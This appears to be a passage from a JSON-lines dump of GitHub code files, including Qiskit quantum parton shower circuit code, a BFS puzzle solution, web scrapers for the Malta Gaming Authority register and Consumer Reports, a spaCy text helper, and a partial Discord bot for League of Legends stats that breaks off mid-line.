h_bool: self._circuit.cry(angle, externalControl, reg[0]).c_if(self.hReg_cl, h)\n return\n # swap states according to Gray Code until one step before the end\n for element in grayList:\n targetQub = element[0]\n number = element[1]\n number = number[0:targetQub] + number[targetQub + 1:]\n controlQub = self.numberControl(l - 1, number, reg[0:targetQub] + reg[targetQub + 1:], workReg, h_bool= h_bool)\n if element == grayList[-1]: # reached end\n if h_bool == None:\n self._circuit.ccx(controlQub, externalControl, workReg[l - 2])\n self._circuit.cry(angle, workReg[l - 2], reg[targetQub])\n self._circuit.ccx(controlQub, externalControl, workReg[l - 2])\n else:\n for h in h_bool:\n self._circuit.ccx(controlQub, externalControl, workReg[l - 2]).c_if(self.hReg_cl, h)\n self._circuit.cry(angle, workReg[l - 2], reg[targetQub]).c_if(self.hReg_cl, h)\n self._circuit.ccx(controlQub, externalControl, workReg[l - 2]).c_if(self.hReg_cl, h)\n else: # swap states\n if h_bool == None: self._circuit.cx(controlQub, reg[targetQub])\n else: \n for h in h_bool: self._circuit.cx(controlQub, reg[targetQub]).c_if(self.hReg_cl, h)\n self.numberControlT(l - 1, number, reg[0:targetQub] + reg[targetQub + 1:], workReg, h_bool= h_bool)\n # undo\n for element in self.reverse(grayList[:-1]):\n targetQub = element[0]\n number = element[1]\n number = number[0:targetQub] + number[targetQub + 1:]\n controlQub = self.numberControl(l - 1, number, reg[0:targetQub] + reg[targetQub + 1:], workReg, h_bool= h_bool)\n if h_bool == None: self._circuit.cx(controlQub, reg[targetQub])\n else: \n for h in h_bool: self._circuit.cx(controlQub, reg[targetQub]).c_if(self.hReg_cl, h)\n self.numberControlT(l - 1, number, reg[0:targetQub] + reg[targetQub + 1:], workReg, h_bool= h_bool)\n return\n\n\n def U_hAngle(self, flavor, n_phi, n_a, n_b, P_phi, P_a, P_b):\n '''\n Determine angle of rotation used in U_h.\n\n Params:\n flavor (str) 'phi, 'a', or 'b'\n n_phi (int) number of phis\n n_a (int) number of a-type fermions\n n_b (int) number of b-type fermions\n P_phi (float) phi splitting probability\n P_a (float) a-type emission probability\n P_b (float) b-type emission probability\n\n Returns:\n rotation angle (float)\n '''\n denominator = n_phi * P_phi + n_a * P_a + n_b * P_b\n if denominator == 0: # occurs if we are trying the case of no particles remaining (n_a = n_b = n_phi = 0)\n return 0\n flavorStringToP = {'phi': P_phi, 'a': P_a, 'b': P_b}\n emissionAmplitude = np.sqrt(flavorStringToP[flavor] / denominator)\n # correct for arcsin input greater than 1 errors for various input combinations that are irrelevant anyway\n emissionAmplitude = min(1, emissionAmplitude)\n\n return 2 * np.arcsin(emissionAmplitude)\n\n\n def minus1(self, l, countReg, workReg, control):\n '''\n A controlled-decrementor.\n\n Params:\n l (int) size of the countReg\n countReg (QuantumRegister) reg. to decrement\n workReg (QuantumRegister) ancillary\n control (Qubit) \n '''\n [self._circuit.x(qubit) for qubit in countReg]\n self.incrementer(l, countReg, workReg, control)\n [self._circuit.x(qubit) for qubit in countReg]\n\n\n def U_h(self, l, m, P_phi, P_a, P_b, initialParticles):\n '''\n Constructs and applies a quantum circuit that implements U_h.\n \n Params:\n l (int) size of the counting register\n m (int) iteration\n P_phi (float) phi splitting probability\n P_a (float) a-type emission probability\n P_b (float) b-type emission probability\n initialParticles (List(str))\n '''\n for k in reversed(range(self._ni + m)):\n if k >= self._ni:\n hmap= QuantumPartonShower_MCM.h_map(k - self._ni + 1, self._L, [int(x, 2) for x in initialParticles])\n else:\n hmap= QuantumPartonShower_MCM.h_map(0, self._L, [int(x, 2) for x in initialParticles[:k+1]])\n\n for key in hmap:\n n_tot, n_phi= key\n if m == 0 or k < self._ni:\n h_bool= None\n else:\n h_bool= [int(''.join(hmap[key][0]), 2)]\n for j in range(1, len(hmap[key])):\n h_bool+= [int(''.join(hmap[key][j]), 2)]\n\n for n_a in range(0, n_tot - n_phi + 1):\n #print('\\n')\n n_b= n_tot - n_phi - n_a\n aControl = self.numberControl(l, n_a, self.n_aReg, self.w_aReg, h_bool= h_bool)\n # controlled R-y from |0> to |k> on all qubits with all possible angles depending on n_phi, n_a, n_b, and flavor\n for flavor in ['phi', 'a', 'b']:\n angle = self.U_hAngle(flavor, n_phi, n_a, n_b, P_phi, P_a, P_b)\n #print('na= %d, nb= %d, nphi= %d, flavor: ' %(n_a, n_b, n_phi) + flavor + ', angle= ' + str(angle))\n self.flavorControl(flavor, self.pReg, self.wReg, self.wReg, (k * self._p_len), 0, 2, h_bool= h_bool) # wReg[2] is work qubit but is reset to 0\n if m == 0 or k < self._ni:\n self._circuit.ccx(aControl, self.wReg[0], self.wReg[1])\n self._circuit.ccx(self.eReg[0], self.wReg[1], self.wReg[2])\n else:\n for h in h_bool:\n self._circuit.ccx(aControl, self.wReg[0], self.wReg[1]).c_if(self.hReg_cl, h)\n self._circuit.ccx(self.eReg[0], self.wReg[1], self.wReg[2]).c_if(self.hReg_cl, h)\n self.twoLevelControlledRy(l, angle, k + 1, self.wReg[2], self.hReg, self.w_hReg, h_bool= h_bool)\n\n if m == 0 or k < self._ni:\n self._circuit.ccx(self.eReg[0], self.wReg[1], self.wReg[2]) # next steps undo work qubits\n self._circuit.ccx(aControl, self.wReg[0], self.wReg[1])\n else:\n for h in h_bool:\n self._circuit.ccx(self.eReg[0], self.wReg[1], self.wReg[2]).c_if(self.hReg_cl, h) # next steps undo work qubits\n self._circuit.ccx(aControl, self.wReg[0], self.wReg[1]).c_if(self.hReg_cl, h)\n\n self.flavorControl(flavor, self.pReg, self.wReg, self.wReg, (k * self._p_len), 0, 2, h_bool= h_bool) # wReg[2] is work qubit but is reset to 0\n self.numberControlT(l, n_a, self.n_aReg, self.w_aReg, h_bool= h_bool)\n\n # subtract from the counts register depending on which flavor particle emitted\n self.flavorControl('a', self.pReg, self.wReg, self.wReg, (k * self._p_len), 0, 1) # wReg[2] is work qubit but is reset to 0\n self.minus1(l, self.n_aReg, self.w_aReg, self.wReg[0])\n self.flavorControl('a', self.pReg, self.wReg, self.wReg, (k * self._p_len), 0, 1) # wReg[2] is work qubit but is reset to 0\n\n # apply x on eReg if hReg[m] = 0, apply another x so we essentially control on not 0 instead of 0\n isZeroControl = self.numberControl(l, 0, self.hReg, self.w_hReg)\n self._circuit.cx(isZeroControl, self.eReg[0])\n self._circuit.x(self.eReg[0])\n self.numberControlT(l, 0, self.hReg, self.w_hReg)\n\n\n def U_p(self, l, m):\n '''\n Constructs and applies a quantum circuit that implements U_p.\n\n Params:\n l (int) size of the counting & history registers\n m (int) iteration\n '''\n for k in range(0, self._ni + m):\n pk0= k * self._p_len # particle k first (zero) index\n pNew= (self._ni + m) * self._p_len # new/current particle first(zero) index\n\n # Have to get all histories where the current emission is from particle k.\n gen_h= QuantumPartonShower_MCM.generate_h(m+1, self._L, self._ni) # current particle to update is actually step m+1\n gen_hk= []\n for h in gen_h:\n if int(h[0], 2) == k + 1: # k + 1 is the correct particle\n gen_hk+= [h]\n\n for hList in gen_hk:\n h= int(''.join(hList), 2)\n #print(h)\n self._circuit.cx(self.pReg[pk0 + 2], self.pReg[pNew + 0]).c_if(self.hReg_cl, h)\n\n # second gate in paper (undoes work register immediately)\n self._circuit.x(self.pReg[pk0 + 1]).c_if(self.hReg_cl, h)\n self._circuit.x(self.pReg[pk0 + 2]).c_if(self.hReg_cl, h)\n self._circuit.cx(self.pReg[pk0 + 2], self.wReg[0]).c_if(self.hReg_cl, h)\n self._circuit.ccx(self.wReg[0], self.pReg[pk0 + 1], self.wReg[1])\n self._circuit.ccx(self.wReg[1], self.pReg[pk0 + 0], self.pReg[pNew + 2])\n self._circuit.ccx(self.wReg[0], self.pReg[pk0 + 1], self.wReg[1])\n self._circuit.cx(self.pReg[pk0 + 2], self.wReg[0]).c_if(self.hReg_cl, h)\n self._circuit.x(self.pReg[pk0 + 1]).c_if(self.hReg_cl, h)\n self._circuit.x(self.pReg[pk0 + 2]).c_if(self.hReg_cl, h)\n\n # third gate in paper\n self._circuit.cx(self.pReg[pNew + 2], self.pReg[pk0 + 2]).c_if(self.hReg_cl, h)\n\n # fourth and fifth gate in paper (then undoes work register)\n self._circuit.ch(self.pReg[pNew + 2], self.pReg[pNew + 1]).c_if(self.hReg_cl, h)\n angle = (2 * np.arccos(self.g_a / np.sqrt(self.g_a ** 2 + self.g_b ** 2)))\n self._circuit.cry(angle, self.pReg[pNew + 2], self.pReg[pNew + 0]).c_if(self.hReg_cl, h)\n\n # sixth and seventh gate in paper (then undoes work register)\n self._circuit.x(self.pReg[pNew + 0]).c_if(self.hReg_cl, h)\n self._circuit.x(self.pReg[pNew + 1]).c_if(self.hReg_cl, h)\n self._circuit.cx(self.pReg[pNew + 1], self.wReg[0]).c_if(self.hReg_cl, h)\n self._circuit.ccx(self.wReg[0], self.pReg[pNew + 2], self.pReg[pk0 + 1])\n self._circuit.cx(self.pReg[pNew + 1], self.wReg[0]).c_if(self.hReg_cl, h)\n self._circuit.cx(self.pReg[pNew + 0], self.wReg[0]).c_if(self.hReg_cl, h)\n self._circuit.ccx(self.wReg[0], self.pReg[pNew + 2], self.pReg[pk0 + 0])\n self._circuit.cx(self.pReg[pNew + 0], self.wReg[0]).c_if(self.hReg_cl, h)\n self._circuit.x(self.pReg[pNew + 0]).c_if(self.hReg_cl, h)\n self._circuit.x(self.pReg[pNew + 1]).c_if(self.hReg_cl, h)\n\n\n def createCircuit(self, initialParticles, verbose=False):\n '''\n This is the main function to create a quantum circuit that implements QPS. \n The circuit is constructed in place (self._circuit), and also returned.\n\n Params:\n initialParticles (List(str)) list of initial particles, each represented by its binary string: 'MSB, middle bit, LSB'\n verbose (bool) whether to print out useful info while constructing the circuit\n\n Returns:\n a tuple: QPS circuit (QuantumCircuit), qubit dict (dict)\n '''\n\n # evaluate P(Theta) and Delta(Theta) at every time step\n self.populateParameterLists()\n\n qubits = {'pReg': self.pReg, 'hReg': self.hReg, 'w_hReg': self.w_hReg, 'eReg': self.eReg, 'wReg': self.wReg,\n 'n_aReg': self.n_aReg, 'w_aReg': self.w_aReg}\n\n self.initializeParticles(initialParticles)\n\n (self.wReg_cl, self.pReg_cl, self.hReg_cl, self.eReg_cl, self.n_aReg_cl, self.w_hReg_cl, self.w_aReg_cl) = self.allocateClbits()\n \n self.add_Clbits()\n\n # begin stepping through subcircuits\n for m in range(self._N):\n if verbose:\n print('\\n\\nm= %d\\n\\n' %(m))\n l = int(math.floor(math.log(m + self._ni, 2)) + 1)\n\n # R^(m) - rotate every particle p_k from 1,2 to a,b basis (step 1)\n index = 0\n while index < self.pReg.size:\n self._circuit.cry((2 * math.asin(-self.u)), self.pReg[index + 2], self.pReg[index + 0])\n index += self._p_len\n\n # populate count register (step 2)\n if verbose:\n print('Apply uCount()...')\n self.uCount(m, l)\n\n # assess if emmision occured (step 3)\n if verbose:\n print('Apply uE()...')\n self.uE(l, m, self.Delta_phiList[m], self.Delta_aList[m], self.Delta_bList[m], initialParticles)\n\n if verbose:\n print('Apply U_h()...')\n self.U_h(l, m, self.P_phiList[m], self.P_aList[m], self.P_bList[m], initialParticles)\n\n if verbose:\n print('Measure and reset |h>...')\n self._circuit.measure(self.hReg, self.hReg_cl[m*self._L : (m+1)*self._L])\n self._circuit.reset(self.hReg)\n\n if verbose:\n print('Apply U_p()...')\n # update particle based on which particle split/emmitted (step 5)\n self.U_p(l, m)\n\n # R^-(m) rotate every particle p_k from a,b to 1,2 basis (step 6)\n index2 = 0\n while index2 < self.pReg.size:\n self._circuit.cry((2 * math.asin(self.u)), self.pReg[index2 + 2], self.pReg[index2 + 0])\n index2 += self._p_len\n\n if verbose:\n print('generated circuit on', self._circuit.num_qubits, 'qubits')\n \n return self._circuit, qubits\n\n\n def allocateClbits(self):\n ''' Generate and return all classical registers. '''\n nbits_h = self._N * self._L\n\n wReg_cl = ClassicalRegister(3, 'w_cl')\n pReg_cl = []\n for j in range(self._N + self._ni):\n pReg_cl.append(ClassicalRegister(3, 'p%d_cl' %(j)))\n hReg_cl = ClassicalRegister(nbits_h, 'h_cl')\n eReg_cl = ClassicalRegister(self._e_len, 'e_cl')\n n_aReg_cl = ClassicalRegister(self._L, 'na_cl')\n\n w_hReg_cl = ClassicalRegister(self._L - 1, 'wh_cl')\n w_aReg_cl = ClassicalRegister(self._L - 1, 'wa_cl')\n\n return (wReg_cl, pReg_cl, hReg_cl, eReg_cl, n_aReg_cl, w_hReg_cl, w_aReg_cl)\n\n\n def add_Clbits(self):\n ''' Add all classical registers to self._circuit. '''\n self._circuit.add_register(self.wReg_cl)\n for j in range(self._N + self._ni):\n self._circuit.add_register(self.pReg_cl[j])\n self._circuit.add_register(self.hReg_cl)\n self._circuit.add_register(self.eReg_cl)\n self._circuit.add_register(self.n_aReg_cl)\n self._circuit.add_register(self.w_hReg_cl)\n self._circuit.add_register(self.w_aReg_cl)\n\n\n def measure_Clbits(self):\n ''' Measure all qubits other than the history register (already measured mid-circuit). '''\n self._circuit.measure(self.wReg, self.wReg_cl)\n for j in range(self._N + self._ni):\n self._circuit.measure(self.pReg[3*j : 3*(j+1)], self.pReg_cl[j])\n\n self._circuit.measure(self.eReg, self.eReg_cl)\n self._circuit.measure(self.n_aReg, self.n_aReg_cl)\n self._circuit.measure(self.w_hReg, self.w_hReg_cl)\n self._circuit.measure(self.w_aReg, self.w_aReg_cl)\n\n\n def simulate(self, type, shots=None, position=False):\n '''\n Simulate self.circuit using the specified simulator.\n\n Params:\n type (str) Either the qasm simulator or the statevector simulator\n shots (int) If using the qasm simulator the number of shots needs to be specified\n position (bool) the statevector is very long, so if position=True the function will print the value and\n position of tbe non-zero elements\n Returns: \n execute().result().get_counts() for qasm or mps simulation, otherwise\n execute().result().get_statevector() for statevector simulation\n '''\n if type == 'qasm':\n simulator = Aer.get_backend('qasm_simulator')\n self.measure_Clbits()\n job = execute(self._circuit, simulator, shots=shots)\n result = job.result()\n counts = result.get_counts(self._circuit)\n return counts\n\n elif type == 'mps':\n simulator = qpa.QasmSimulator(method= 'matrix_product_state')\n self.measure_Clbits()\n job = execute(self._circuit, simulator, shots=shots)\n result = job.result()\n counts = result.get_counts(self._circuit)\n return counts\n\n elif type == 'statevector':\n simulator = Aer.get_backend('statevector_simulator')\n result = execute(self._circuit, simulator).result()\n statevector = result.get_statevector(self._circuit)\n if position:\n [print(\"position of non zero element: \", list(statevector).index(i), \"\\nvalue: \",\n i, \"\\nabsolute value: \", abs(i)) for i in statevector if abs(i) > 10 ** (-5)]\n return statevector\n else:\n print(\"Invalid simulator. For the first paramter, choose 'qasm', 'mps', or 'statevector'.\")","repo_name":"LBNL-HEP-QIS/QPS_public","sub_path":"QuantumPartonShower_ReM.py","file_name":"QuantumPartonShower_ReM.py","file_ext":"py","file_size_in_byte":42740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"5762320268","text":"import sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nm, n = map(int, input().split())\ndata = [list(map(int, input().rstrip())) for _ in range(n)]\nvisited = [[False] * m for _ in range(n)]\n\nq = deque()\nq.append((0, 0, 0))\n\nwhile q:\n x, y, cnt = q.popleft()\n if x == n - 1 and y == m - 1:\n print(cnt)\n break\n for dx, dy in ((0, 1), (0, -1), (1, 0), (-1, 0)):\n nx, ny = x + dx, y + dy\n if 0 <= nx < n and 0 <= ny < m and not visited[nx][ny]:\n visited[nx][ny] = True\n if data[nx][ny]:\n q.append((nx, ny, cnt + 1))\n else:\n q.appendleft((nx, ny, cnt))\n","repo_name":"qilip/ACMStudy","sub_path":"baekjoon/1261/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"32985717455","text":"import ast\nimport re\n\nimport bs4\nimport lxml\nimport pandas as pd\nfrom typing import List, NamedTuple, Tuple\n\nfrom scrape.etiget import etiget\n\nregister_url = 'https://mgalicenseeregister.mga.org.mt/'\nverification_url = 'https://www.authorisation.mga.org.mt/verification.aspx'\n\ndef eval_option(soup: bs4.BeautifulSoup, data_placeholder: str, colname: str) -> pd.DataFrame:\n \"\"\"\n Extract the option values for a menu into a Pandas DataFrame.\n \"\"\"\n return pd.DataFrame(\n data=[\n option.text\n for option in (soup\n .find('select', {'data-placeholder': data_placeholder})\n .find_all('option')\n )\n ],\n columns=[colname]\n )\n\ndef fetch_menus() -> Tuple[pd.DataFrame, pd.DataFrame, pd.DataFrame, pd.DataFrame]:\n \"\"\"\n Get the menus from the MGA Licensee Register.\n \"\"\"\n response = etiget(register_url + 'index1.aspx')\n assert response.status_code == 200\n soup = bs4.BeautifulSoup(response.content, 'lxml')\n return (\n eval_option(soup, 'Licensee Name', 'CompanyName'),\n eval_option(soup, 'Licence Status', 'Status'),\n eval_option(soup, 'Gaming Service', 'GamingService'),\n eval_option(soup, 'URL', 'URL')\n )\n\nlicensee_columns = [\n 'CompanyName',\n 'LicenceNumber',\n 'LicenceClass',\n 'RegNumber',\n 'CompanySeal',\n 'Status',\n 'TerminationDate',\n 'Platform',\n 'Address',\n 'Telephone',\n 'Email'\n]\n\ndef eval_column(script: str, column: str) -> List:\n \"\"\"\n Evaluate the JavaScript array for a column as a Python list.\n \"\"\"\n return (ast\n .literal_eval((re\n .compile(rf'var vArray{re.escape(column)} = (\\[.*\\])')\n .search(script)\n .group(1)\n ))\n )\n\ndef fetch_register(Licensee='', Class='', Status='', URL='') -> pd.DataFrame:\n \"\"\"\n The search form of the MGA Licensee Register.\n \"\"\"\n response = etiget(register_url + f'Results1.aspx?Licencee={Licensee}&Class={Class}&Status={Status}&URL={URL}')\n try:\n soup = bs4.BeautifulSoup(response.content, 'lxml')\n except:\n print(f'Error {response.status_code}: {Licensee} - {Class} - {Status} - {URL}')\n return pd.DataFrame()\n try:\n script = (soup\n .find('script', src='list.min.js')\n .find_next_sibling('script')\n .string\n )\n N = len(eval_column(script, 'CompanyName'))\n cs = eval_column(script, 'CompanySeal')\n assert cs[:N] == cs[N:] # Company seals are listed twice, but only the first half are used.\n return (pd\n .DataFrame.from_dict({\n column: eval_column(script, column)[:N]\n for column in licensee_columns\n })\n )\n except Exception as e:\n print(f'{e}: {Licensee} - {Class} - {Status} - {URL}')\n return pd.DataFrame()\n\ndef eval_companies(register: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Extract the unique company names and seals from the MGA Licensee Register.\n \"\"\"\n return (register\n .dropna(subset=['CompanySeal'])\n .loc[:, ['CompanyName', 'CompanySeal']]\n .drop_duplicates()\n .reset_index(drop=True)\n )\n\nclass Company(NamedTuple):\n CompanySeal: str\n CompanyName: str\n LinkedName: str\n LinkedSeal: str\n\ndef fetch_linked_companies(company: Company) -> pd.DataFrame:\n \"\"\"\n Get all indirectly linked companies.\n These are sometimes not directly returned from the menu options of the MGA Licensee Register.\n \"\"\"\n response = etiget(verification_url + f'?company={company.CompanySeal}')\n assert response.status_code == 200\n soup = bs4.BeautifulSoup(response.content, 'lxml')\n return (pd.DataFrame(\n data=[\n (company.CompanyName, company.CompanySeal, link.text,\n (link\n .get('href')\n .split('&company=')[-1]\n .split('&details=')[0]\n )\n )\n for link in (soup\n .find('ul', class_='linked-companies-list')\n .find_all('a')\n )\n ],\n columns=[\n 'CompanyName', 'CompanySeal', 'LinkedName', 'LinkedSeal'\n ]\n ))\n\ndef eval_game_type(company: Company, row: bs4.element.Tag) -> pd.DataFrame:\n \"\"\"\n Extract all providers and their licence numbers for the game type table row.\n \"\"\"\n try:\n content = row.find_all('td')[:-1]\n return pd.DataFrame(\n data=[(\n company.LinkedName,\n company.LinkedSeal,\n content[0].text,\n content[1].text,\n ' '.join(provider.split(' ')[:-1]),\n provider.split(' ')[-1]\n )\n for provider in [\n string.replace('\\u2022 ', '')\n for string in (content[2]\n .text\n .lstrip('\\r\\n')\n .rstrip(' \\n')\n .split(' \\r\\n')\n )\n ]\n ],\n columns=[\n 'LinkedName',\n 'LinkedSeal',\n 'LicenceNumber',\n 'LicenceClass',\n 'ProviderName',\n 'ProviderLicence'\n ]\n )\n except:\n # We don't print the exception here as it is a very frequent occurrence\n return pd.DataFrame()\n\ndef fetch_providers_and_urls(company: Company) -> Tuple[pd.DataFrame, pd.DataFrame]:\n response = etiget(verification_url + f'?company={company.LinkedSeal}&details=1')\n try:\n soup = bs4.BeautifulSoup(response.content, 'lxml')\n except Exception as e:\n print(e)\n print(f'Error {response.status_code}: could not download company seal {company.LinkedSeal}')\n return pd.DataFrame(), pd.DataFrame()\n try:\n providers = pd.concat([\n eval_game_type(company, row)\n for row in (soup\n .find('table', id='mainPlaceHolder_coreContentPlaceHolder_mainContentPlaceHolder_sealContent_tblGameTypesTable')\n .find_all('tr')[1:]\n )\n ])\n except:\n # We don't print the exception here as it is a very frequent occurrence\n providers = pd.DataFrame()\n try:\n links = (soup\n .find('span', text='Website Urls')\n .find_parent('th')\n .find_next_sibling('td')\n .find_all('a')\n )\n except:\n # We don't print the exception here as it is a very frequent occurrence\n links = []\n URLs = pd.DataFrame(\n data=[\n (company.LinkedName, company.LinkedSeal, link.get('href'))\n for link in links\n ],\n columns=[\n 'LinkedName', 'LinkedSeal', 'URL'\n ]\n )\n return providers, URLs\n","repo_name":"rhalbersma/scrape","sub_path":"src/scrape/mga.py","file_name":"mga.py","file_ext":"py","file_size_in_byte":6892,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"26870849805","text":"import spacy\n\nnlp = spacy.load('en_core_web_sm')\n\nsentence = 'Pick up the red plastick tank toy from the floor and put it on the table'\n\ndef lemma_or_chunk(sentence):\n '''\n A function which receives a sentence, processes it through spaCy,\n and returns a list of lemmas or noun chunks. Tokens which are members\n of noun chunks are not included in the list of lemmas, because they are\n represented within the noun chunks. The other tokens are lemmatized, with\n some (punctuation) excluded.\n '''\n element_list = []\n chunk_reference = []\n doc = nlp(sentence)\n chunks = list(doc.noun_chunks)\n for chunk in chunks:\n chunk_reference.append({'start': chunk.start, 'end': chunk.end, 'text': chunk.text})\n counter = 0\n while counter < len(doc):\n if any([chunk['start'] <= counter < chunk['end'] for chunk in chunk_reference]):\n for chunk in chunk_reference:\n if chunk['start'] <= counter < chunk['end']:\n element_list.append(chunk['text'])\n counter = chunk['end']\n elif doc[counter].is_punct:\n counter += 1\n continue\n else:\n if doc[counter].pos_ == 'AUX':\n element_list.append(f'to {doc[counter].lemma_}, pictogram, abstract representation')\n elif doc[counter].pos_ == 'VERB':\n element_list.append(f'to {doc[counter].lemma_}, pictogram, abstract representation')\n else:\n element_list.append(f'{doc[counter].lemma_}, pictogram, abstract representation')\n counter += 1\n return element_list\n\nprint(lemma_or_chunk(sentence))\n","repo_name":"kleczekr/d4_spacy_sd","sub_path":"text_analysis.py","file_name":"text_analysis.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72107332960","text":"# -*- coding: utf-8 -*-\nfrom cr_computers.items import CrComputersItem\nimport scrapy\nimport numpy as np\nimport pandas as pd\nimport re\n\nclass cr_computers(scrapy.Spider):\n\tname = \"cr_computers\"\n\tallowed_domains = [\"http://www.consumerreports.org/\"]\n\t# start_urls = [] # urls to be added from dataframe generated from silineum\n\n # test URLs:\n\ttest_urls = [\"http://www.consumerreports.org/products/laptop/acer-spin-5-sp513-51-55zr-388098/specs\", \n \t\t\t\t\"http://www.consumerreports.org/products/chromebooks/acer-chromebook-c810-t7zt-383569/specs\", \n\t\t\t\t\"http://www.consumerreports.org/products/desktop-computer/hp-envy-750-514-389328/specs\"]\n\n\turl_list_csv = \"cr_reviewPageURLs_AllComputers.csv\"\n\turls_df = pd.read_csv(url_list_csv)\n\n\tstart_urls = [] # urls to be added from dataframe generated from silineum\n\n\tfor index, row in urls_df.iterrows():\n\t\t# test_urls.append(row['url'] + \"specs\")\n\t\tstart_urls.append(row['url'] + \"specs\") # add all urls from df to start_urls\n\n\tprint(\"sample url: \", start_urls[0], sep=\"\")\n\tprint(\"Number urls: \", len(start_urls), sep=\"\")\n\n\tdef parse(self, response):\n\t# in scrapy shell ... test the url and try to get the data\n\n\t\tspecs = response.xpath('//div[@class=\"product-model-spec-container\"]//div[@class=\"row product-model-spec-item\"]')\n\n\t\tfor spec in specs:\n\t\t\tspec_value = spec.xpath('.//div[@class=\"col-lg-7 col-md-7 col-sm-6 col-xs-12 product-model-spec-item-value\"]/text()').extract_first().strip()\n\n\t\t\tspec_label = spec.xpath('.//span[@class=\"product-model-spec-item-tooltip-text\"]/strong/text()').extract_first().strip()\n\t\t\tspec_label = re.sub(r'[\\s\\()-]+', '_', spec_label)\n\n\t\t\t# model = response.xpath('//a[@class=\"product-model-eyebrow-link visible-xs\"]/@data-modelname').extract_first()\n\t\t\tmodel = response.xpath('//div[@class=\"product-model-name-container\"]/h1/text()').extract()[1].strip()\n\t\t\t# if model == \"\" or model == \" \" or model == np.nan:\n\t\t\t# \tmodel = \"__NULL__\"\n\n\t\t\t# brand = response.xpath('//a[@class=\"product-model-eyebrow-link visible-xs\"]/@data-brandname').extract_first()\n\t\t\tbrand = response.xpath('//div[@class=\"product-model-name-container\"]//strong/text()').extract_first()\n\t\t\t# if brand == \"\" or brand == \" \" or model == np.nan:\n\t\t\t# \tbrand = \"__NULL__\"\n\n\t\t\tprod_class = response.url.split('/')[4] # request holds original URL passed into this function\n\t\t\turl = response.url\n\n\t\t\titem = CrComputersItem()\n\t\t\titem['prod_class'] = prod_class\n\t\t\titem['brand'] = brand \n\t\t\titem['model'] = model\n\t\t\titem['spec_label'] = spec_label\n\t\t\titem['spec_value'] = spec_value\n\t\t\titem['url'] = url\n\n\t\t\tyield item\n","repo_name":"TheMitchWorksPro/NYCDSA_CR_WebScrape","sub_path":"WebScraping/cr_computers/cr_computers/spiders/cr_computers_spider.py","file_name":"cr_computers_spider.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19624347575","text":"# 13..Move Zeroes\n# Given an integer array nums, move all 0's to the end of it while maintaining the relative order of the non-zero elements.\n# Note that you must do this in-place without making a copy of the array.\n \n# Example 1:\n# Input: nums = [0,1,0,3,12]\n# Output: [1,3,12,0,0]\n\n# Example 2:\n# Input: nums = [0]\n# Output: [0]\n\nnums = [0,1,0,3,12]\ni=0\na=[]\nb=[]\nwhile i 1:\r\n args[1] = regionchange(args[1])\r\n else:\r\n args.append(\"EUN1\")\r\n region = \"europe\"\r\n\r\n \r\n r1 = requests.get(\"https://\" + args[1] + \".api.riotgames.com/lol/summoner/v4/summoners/by-name/\" + args[0] + \"?api_key=\" + RIOTOKEN)\r\n if r1.status_code == 404:\r\n response = \"Summoner not found\"\r\n await message.channel.send(response)\r\n return\r\n\r\n r2 = requests.get(\"https://\" + region + \".api.riotgames.com/lol/match/v5/matches/by-puuid/\" + r1.json()['puuid'] + \"/ids?start=0&count=1&api_key=\" + RIOTOKEN)\r\n r3 = requests.get(\"https://\" + region + \".api.riotgames.com/lol/match/v5/matches/\" + r2.json()[0] + \"?api_key=\" + RIOTOKEN)\r\n \r\n embed = discord.Embed(title = \"hm\", color=0x3cbc8d)\r\n for p1 in r3.json()['info']['participants']:\r\n if p1['summonerName'].lower() == args[0].lower():\r\n player = p1\r\n if player['win'] == True:\r\n embed = discord.Embed(title = p1['summonerName'] + \"'s winning \" + p1['championName'], color=0x3cbc8d)\r\n else:\r\n embed = discord.Embed(title = p1['summonerName'] + \"'s losing \" + p1['championName'], color=0xe9422e)\r\n\r\n embed.add_field(name = \"Kills\", value = player['kills'], inline = True) \r\n embed.add_field(name = \"Deaths\", value = player['deaths'], inline = True)\r\n embed.add_field(name = \"Assists\", value = player['assists'], inline = True)\r\n embed.set_image(url = \"https://ddragon.canisback.com/img/champion/centered/\" + player['championName'] + \"_0.jpg\")\r\n await message.channel.send(embed=embed)\r\n print(message.author,player['summonerName'], args[1], player['championName'], player[\"win\"])\r\n\r\n if (PREFIX + 'stats') in message.content[0:6]:\r\n args = shlex.split(message.content[7:None])\r\n if len(args) > 1:\r\n args[1] = regionchange(args[1])\r\n else:\r\n args.append(\"EUN1\")\r\n region = \"europe\"\r\n\r\n \r\n r1 = requests.get(\"https://\" + args[1] + \".api.riotgames.com/lol/summoner/v4/summoners/by-name/\" + args[0] + \"?api_key=\" + RIOTOKEN)\r\n if r1.status_code == 404:\r\n response = \"Summoner not found\"\r\n await message.channel.send(response)\r\n return\r\n print(r1.json())\r\n\r\n r2 = requests.get(\"https://\" + region + \".api.riotgames.com/lol/match/v5/matches/by-puuid/\" + r1.json()['puuid'] + \"/ids?startTime=1641513600&endTime=\" + str(int(time.time())) + \"&start=0&count=100&api_key=\" + RIOTOKEN)\r\n r2a = r2.json()\r\n\r\n while len(r2a)%100 == 0:\r\n r2a.extend(requests.get(\"https://\" + region + \".api.riotgames.com/lol/match/v5/matches/by-puuid/\" + r1.json()['puuid'] + \"/ids?startTime=1641513600&endTime=\" + str(int(time.time())) + \"&start=\" + str(int(len(r2.json())/100)) +\"00&count=100&api_key=\" + RIOTOKEN).json())\r\n print(len(r2a))\r\n print(len(r2a))\r\n if author:\r\n response = \"You have played \" + str(len(r2a)) + \" matches in this season\"\r\n else:\r\n response = \"They have played \" + str(len(r2a)) + \" matches in this season\"\r\n print(r2a)\r\n await message.channel.send(response)\r\n\r\n if (PREFIX + 'link') in message.content[0:5]:\r\n args = shlex.split(message.content[6:None])\r\n\r\n if len(args) > 2:\r\n args[2] = regionchange(args[2])\r\n else:\r\n args.append(\"EUN1\")\r\n region = \"europe\"\r\n\r\n if len(args) > 1:\r\n if args[1] == \"done\":\r\n r1 = 